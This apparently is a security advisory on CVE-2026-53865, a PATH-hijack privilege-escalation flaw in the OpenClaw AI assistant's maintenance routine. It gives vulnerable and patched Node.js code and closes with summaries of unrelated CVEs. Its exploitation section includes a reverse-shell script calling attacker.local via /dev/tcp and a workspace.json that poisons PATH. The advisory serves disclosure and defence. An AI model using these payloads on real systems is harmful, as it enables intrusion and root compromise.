Jun 19, 2026·6 min read·26 visits
OpenClaw vulnerabilities in dynamic environment configurations allow lower-privileged users to hijack system commands during automated maintenance cycles, leading to local privilege escalation.
A critical untrusted search path vulnerability (CWE-426) exists in OpenClaw, an open-source, multi-platform personal AI assistant. In versions prior to 2026.5.2 (and up to 2026.5.26 in specific deployment configurations), the application merges workspace-derived configuration parameters into the operating system environment object. When executing administrative maintenance routines, OpenClaw invokes external system commands, such as the 'trash' utility, without verifying the underlying executable path. This allows a low-privileged local user or workspace collaborator to hijack binary execution flows, resulting in arbitrary command execution within the privilege context of the OpenClaw service wrapper.
OpenClaw is designed as a local-first AI assistant requiring tight integration with host file systems and native utilities. To ensure optimal file storage, OpenClaw features automated maintenance procedures that run periodically or are invoked manually by administrators. These tasks process and clear temporary files, cached execution nodes, and user configuration backups. To prevent standard, irreversible system deletion, the cleanup routines invoke the 'trash' system utility to securely move unnecessary objects to the recycling area.
The core of the vulnerability lies in how OpenClaw configures workspace-derived execution environments. Workspace properties are managed using dedicated settings files, which can include customized environment variables intended to help user-defined tasks and integration wrappers locate local system resources. However, OpenClaw does not isolate administrative cleanup operations from these workspace configurations.
When a maintenance task is executed, the application dynamically generates a process environment containing the workspace-specific modifications. Because this environment is derived from user-controlled workspace properties, an attacker who is a local user or has access to change the workspace structure can append paths to the system execution path. This behavior exposes a critical attack surface, resulting in untrusted path resolution.
The root cause of CVE-2026-53865 is a CWE-426 (Untrusted Search Path) weakness in the maintenance module of OpenClaw. When spawning system-level child processes, Node.js applications use the child_process module's execution APIs, such as spawn or exec. These APIs accept an optional options object that specifies an env payload. If no env payload is defined, Node.js defaults to the current system environment variables process.env.
In affected versions of OpenClaw, the process creation mechanism merges the global process.env with an array of key-value pairs parsed from the workspace's local configurations. This merge process prepends or appends custom directory entries to the PATH environment variable. When the maintenance routine schedules a run, it issues an execution request for the default cleanup utility, which relies on the operating system's resolution mechanism to find the command.
Because the workspace configuration is parsed directly into the child process's execution context, the host operating system performs binary resolution using the polluted PATH variable first. If the PATH contains an attacker-controlled directory at the front of the list, the system locates and executes the binary located inside that directory instead of the standard executable in system paths such as /usr/bin or /bin.
The vulnerability is demonstrated by looking at the logical flaw in how the system task runner processes the local workspace properties prior to spawning child processes.
// VULNERABLE CODE PATH
const cp = require('child_process');
const fs = require('fs');
const path = require('path');
function runMaintenanceJob(workspaceDir, filesToPurge) {
// Extract workspace configuration settings
const configPath = path.join(workspaceDir, 'workspace.json');
const rawConfig = fs.readFileSync(configPath, 'utf8');
const config = JSON.parse(rawConfig);
// VULNERABLE: Direct merging of untrusted environment variables
const mergedEnv = {
...process.env,
...config.customEnv
};
// VULNERABLE: Invoking a system command without utilizing an absolute path
// If customEnv modifies PATH, Node.js resolves 'trash' using the modified environment
const processTask = cp.spawn('trash', filesToPurge, {
env: mergedEnv,
shell: true
});
}The fix implementation resolves this by separating the environment context of local workspace commands from core administrative operations. It also enforces absolute path resolution for system utilities.
// SECURED CODE PATH
const cp = require('child_process');
const path = require('path');
function runMaintenanceJobSecured(workspaceDir, filesToPurge) {
// Hardcode or resolve the absolute path to the system utility securely
const trustedUtilityPath = process.platform === 'win32'
? 'C:\\Windows\\System32\\recycle.exe'
: '/usr/bin/trash-put';
// Create a fully sanitized environment object
const sanitizedEnv = { ...process.env };
// Explicitly restrict PATH to trusted directories only
sanitizedEnv.PATH = process.platform === 'win32'
? 'C:\\Windows\\System32;C:\\Windows'
: '/usr/bin:/bin:/usr/sbin:/sbin';
// Execute using the absolute path with shell evaluation disabled
const processTask = cp.spawn(trustedUtilityPath, filesToPurge, {
env: sanitizedEnv,
shell: false
});
}Exploitation requires an attacker to have local write access to an active workspace directory or the ability to influence its environment settings. The configuration can be modified via an integrated JSON workspace profile or an external .env file depending on deployment parameters.
An attacker begins by creating a local directory within a writable space, such as /tmp/attack_vector. Inside this folder, the attacker places a compiled binary or script named trash. This payload contains the instructions to execute within the target service context.
# Example of an attacker-crafted script located in /tmp/attack_vector/trash
#!/bin/sh
/bin/bash -c "bash -i >& /dev/tcp/attacker.local/4444 0>&1"Once the payload is ready and executable, the attacker modifies the local workspace.json config settings or relevant environmental directives inside the workspace folder:
{
"workspaceName": "Default Project",
"customEnv": {
"PATH": "/tmp/attack_vector:/usr/bin:/bin"
}
}When a standard maintenance cycle is triggered automatically or started manually, the OpenClaw service scans the workspace files, merges the environment variables, and executes the cleanup function. The operating system references /tmp/attack_vector first, resulting in the execution of the attacker's trash script rather than the system-wide tool.
Successful exploitation of CVE-2026-53865 leads to local privilege escalation. Because OpenClaw is designed to manage various local storage drives and external service instances, its administrative worker services are often configured with elevated system-level permissions. If a service runs under a specialized administrative user or as root, any commands executed via the untrusted search path vulnerability will run with those same high-level system permissions.
This vulnerability breaks local multi-tenant boundaries. In environments where multiple developers or automated systems share a single OpenClaw Gateway deployment, low-privileged workspace contributors can escalate their privileges to compromise the underlying system.
The threat model of the system also affects local networks, as compromised assistants can expose credentials, session cookies, database schemas, and AI models stored in memory.
Administrators must deploy updated binaries to resolve the path injection issue. OpenClaw release 2026.5.2 restricts environment merging and forces absolute paths for system execution contexts. If utilizing specific OS distributions, administrators should update deployments to version 2026.5.26 to address all beta-channel configurations.
If manual patching is not immediately feasible, deploy the following workarounds to reduce risk:
# Restrict daemon executions inside systemd units by locking down path properties:
[Service]
Environment="PATH=/usr/bin:/bin:/usr/sbin:/sbin"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N| Product | Affected Versions | Fixed Version |
|---|---|---|
openclaw OpenClaw | < 2026.5.2 | 2026.5.2 |
openclaw OpenClaw | < 2026.5.26 | 2026.5.26 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-426 |
| Attack Vector | Local |
| CVSS v4.0 | 7.2 |
| EPSS Score | 0.00118 (Percentile: 2.01%) |
| Impact | Arbitrary Command Execution / Privilege Escalation |
| Exploit Status | Proof of Concept |
| KEV Status | Not Listed |
The application searches for critical executables or library files within paths that can be manipulated by untrusted users.
CVE-2026-16454 is an object-level authorization bypass vulnerability (CWE-284, CWE-862) in Eclipse hawkBit versions 1.0.3 and prior. The flaw exists within the Direct Device Integration (DDI) REST controller (hawkbit-ddi-resource), where endpoints responsible for enumerating software module metadata and serving firmware binaries fail to verify whether the requested software module is assigned to the authenticated device. Consequently, any device with valid credentials (such as a TargetToken or GatewayToken) can enumerate software module identifiers and download arbitrary firmware artifacts across the entire tenant namespace.
CVE-2026-62284 (GHSA-5w5g-j6hw-6p8f) is a code injection and server-side request forgery vulnerability in the console-proxy component of the OSAC Operator. The RemoteConfigResolver parses Kubernetes Secrets containing kubeconfig files via clientcmd.RESTConfigFromKubeConfig without sanitizing execution-related fields. An attacker with RBAC permissions to create or modify labeled Secrets in monitored namespaces can supply a malicious exec credential plugin, resulting in arbitrary command execution within the console-proxy pod.
CVE-2026-62361 (GHSA-xgjr-7j9q-2h4r) is an authenticated SQL injection and authorization bypass vulnerability in listmonk, an open-source, self-hosted newsletter and mailing list manager written in Go. In versions prior to 6.2.0, the subscriber export endpoint (GET /api/subscribers/export) directly interpolates user-supplied SQL filter expressions into a PostgreSQL query without invoking the table allowlist validation function (validateQueryTables). Consequently, authenticated users possessing the subscribers:sql_query and subscribers:get_all permissions can bypass relational access controls, execute arbitrary subqueries against restricted tables such as users and settings, and modify database state via writable Common Table Expressions (CTEs).
CVE-2026-28385 (GHSA-3gq2-x4qg-p4g6) is a Server-Side Request Forgery (SSRF) vulnerability in Canonical LXD versions 4.12 through 6.9. An authenticated user possessing the can_create_images entitlement can force the LXD daemon to execute arbitrary outbound HTTP and HTTPS requests via the /1.0/images API endpoint. Due to the absence of egress destination validation, an attacker can probe host loopback services, RFC 1918 private network segments, and cloud Instance Metadata Services (IMDS) from the network position of the privileged LXD daemon.
Canonical LXD and LXC Incus contain an arbitrary file write vulnerability (CWE-73 / CWE-59) in the `/1.0/instances/<name>/exec` REST API endpoint. When an instance is unpacked from an image archive, top-level symbolic links are extracted directly onto the host filesystem within the instance storage directory. If a crafted image includes a symbolic link named `exec-output` pointing to an arbitrary host path, invoking the execution endpoint with `record-output: true` causes the privileged host daemon to follow the symlink and write command output files directly to the target host directory. An authenticated attacker with permissions to import images and execute commands can exploit this flaw to write controlled content to sensitive host directories such as `/etc/cron.d`, resulting in arbitrary code execution on the host as `root`.
CVE-2026-48749 (tracked as GHSA-vghh-5rfx-xhq8 for LXD and GHSA-2q3f-q5pq-g8wv for Incus) is a critical container escape vulnerability in the Canonical LXD and Linux Containers Incus system container managers. By importing a specially crafted container image archive containing duplicate tar member headers, an authenticated attacker can replace the instance rootfs directory with a symbolic link pointing to the underlying host root filesystem. When performing file operations on a stopped container, the privileged forkfile helper binary resolves the symbolic link without confinement and chroots directly into the host filesystem, granting arbitrary root-level file read and write access.